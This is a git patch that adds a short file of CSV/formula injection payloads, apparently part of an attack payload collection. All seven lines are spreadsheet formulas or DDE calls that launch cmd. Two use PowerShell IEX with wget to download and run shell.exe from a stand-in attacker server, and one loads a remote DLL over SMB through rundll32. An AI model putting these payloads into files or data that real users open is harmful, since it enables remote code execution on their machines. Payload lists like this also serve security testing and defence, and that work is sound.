From 4cc3fddf8e5b7762ee687120f40833cf82b9cc94 Mon Sep 17 00:00:00 2001
From: yossygit <71384500+yossygit@users.noreply.github.com>
Date: Tue, 21 Feb 2023 17:20:24 +0200
Subject: [PATCH] Create csv-injection

---
 attack/csv-injection | 7 +++++++
 1 file changed, 7 insertions(+)
 create mode 100644 attack/csv-injection

diff --git a/attack/csv-injection b/attack/csv-injection
new file mode 100644
index 0000000..4fedaac
--- /dev/null
+++ b/attack/csv-injection
@@ -0,0 +1,7 @@
+DDE ("cmd";"/C calc";"!A0")A0
+=cmd|'/C powershell IEX(wget attacker-server/shell.exe)'!A0
+=20+40+cmd|' /C calc'!A0
+=cmd|' /C notepad'!'A1'
+@SUM(8+1)*cmd|' /C calc'!A0
+=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
+=cmd|'/c rundll32.exe \\10.0.0.2\malicious\1.dll,0'!_xlbgnm.A1